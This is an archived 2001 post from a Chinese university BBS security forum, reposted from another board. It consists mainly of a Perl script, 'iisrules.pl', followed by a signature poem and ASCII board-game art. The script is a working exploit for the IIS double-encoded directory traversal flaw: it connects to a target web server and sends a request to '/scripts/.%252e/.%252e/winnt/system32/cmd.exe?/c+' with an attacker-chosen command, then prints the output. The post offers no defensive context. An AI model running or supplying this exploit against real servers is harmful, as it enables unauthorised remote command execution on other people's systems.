● iisrules.pl - 荔园在线 | 深圳大学学生论坛,荔园晨风BBS,深大在线网站

荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀

发信人: lvyou (让一切随风沉默), 信区: Security
标  题: iisrules.pl
发信站: 荔园晨风BBS站 (Sat May 26 13:20:49 2001), 转信

发信人: scz (小四), 信区: Security WWW-POST
标  题: iisrules.pl
发信站: 武汉白云黄鹤站 (Tue May 22 10:02:57 2001) , 转信

#!/usr/bin/perl
# A. Ramos (aka dAb)
#

use IO::Socket;

unless ($ARGV[0]) { print "$0 <server> <command> [get]\n"; exit(1); }

$server=$ARGV[0];
$command=$ARGV[1];
$command =~ s/\s/\+/g;
#$command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;

$ARGV[2]="GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+"
unless $ARGV[2]
;

        $socket = IO::Socket::INET->new(PeerAddr => $server,
                                        PeerPort => 80,
                                        Proto    => "tcp",
                                        Type     => SOCK_STREAM)
                or die "can't connect to: $server : $@\n";

   print $socket $ARGV[2].$command." HTTP/1.0\n\n\n\n";

        while(<$socket>) {
        print;
        }
        close($socket);

--

            也许有一天，他再从海上蓬蓬的雨点中升起，
            飞向西来，再形成一道江流，再冲倒两旁的石壁，
            再来寻夹岸的桃花。然而，我不敢说来生，也不敢信来生...
--
┏┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┓    ┏━┯━相━┯━將━士━┯━┯━┓
┠○┼┼○○●┼┼┼┼┼┼┼○┼┼┼┨ ︻ ┃  │  │  │╲│╱│  │  │  ┃
┠┼○○●●┼┼┼┼┼┼┼●┼○┼┼┨ 國 ┠─俥─┼─┼─士─┼─車─砲─┨
┠○●●┼┼┼┼┼┼●┼┼┼●┼┼┼┨ 棋 ┃  │  │  │╱│╲│  │  │  ┃
┠●┼┼┼┼┼┼┼┼┼┼┼┼┼┼○┼┨ ︼ ┠─╬─┼─傌─相─┼─┼─╬─┨
┠┼●┼┼┼┼┼○┼┼┼┼┼┼┼┼┼┨    ┃  │  │  │  │  │  │  │  ┃

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.29]

荔园在线首页友情链接：深圳大学深大招生荔园晨风BBS S-Term软件网络书店